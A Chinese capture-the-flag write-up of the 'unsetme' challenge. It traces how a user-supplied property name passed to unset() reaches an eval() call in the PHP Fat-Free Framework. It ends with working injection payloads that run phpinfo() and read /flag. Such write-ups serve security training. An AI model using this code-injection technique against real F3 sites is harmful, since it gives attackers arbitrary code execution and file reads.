0%

虎符unsetme Write Up

unsetme

题目直接给出源码:

 <?php
// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
    trigger_error('PCRE version is out of date');
// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);
$f3->run();

源码和WMCTF中的一个框架反序列化是同一个框架,网上下载源码来测试一下:

WX20210403-201113@2x

发现/lib/base.php533行有一处eval报错,跟进发现$val是由$hive属性得到。

WX20210403-201457@2x

可以很明显发现$val$key拼接@hive进过正则匹配过滤后再进行替换得到,我们继续跟进$key会发现他来源于__unset魔术方法。

WX20210403-202815@2x

__unset这个魔术方法会在外部使用unset()函数销毁类的属性时候被触发。正好咱们回到·index.php就使用unset来销毁属性。

WX20210403-203036@2x

也就是说$key就是$_GET['a'],测试发现$this->compile会将key替换为[' ']包裹下。这就说明我们需要绕过这个规格才能执行任意代码。

WX20210403-203421@2x

我们跟进$this->compile方法,由于参数2传入就是false咱们直接进入第一个分支。可以看到分支使用preg_replace_callback进行了两次匹配替换。第一次匹配将hive匹配到然后在前面拼接$得到$hive第二次就是把我们传入的字符串给匹配进去,然后用[' ']包裹起来,但是[]并不会被匹配进去。因此咱么可以利用这个特性逃逸,只要写入一个二维数组就行了。

WX20210403-205303@2x
function compile($str, $evaluate=TRUE) {
        return (!$evaluate)
            ? preg_replace_callback(
                '/^@(\w+)((?:\..+|\[(?:(?:[^\[\]]*|(?R))*)\])*)/',
                function($expr) {

                    $str='$'.$expr[1];
                    if (isset($expr[2]))
                        $str.=preg_replace_callback(
                            '/\.([^.\[\]]+)|\[((?:[^\[\]\'"]*|(?R))*)\]/',
                            function($sub) {
                                $val=isset($sub[2]) ? $sub[2] : $sub[1];
                                if (ctype_digit($val))
                                    $val=(int)$val;
                                $out='['.$this->export($val).']';

                                return $out;
                            },
                            $expr[2]
                        );

                    return $str;
                },
                $str
            )
      ....
      略

那么哪里有二维数组呢,当然是在hive属性里找,直接将其输出看到很多

WX20210403-201957@2x

因此构造payload如下:

?a=JAR['expire']);phpinfo(
WX20210403-205529@2x

直接读flag即可:

?a=JAR['expire']);readfile('/flag'

WX20210403-205651@2x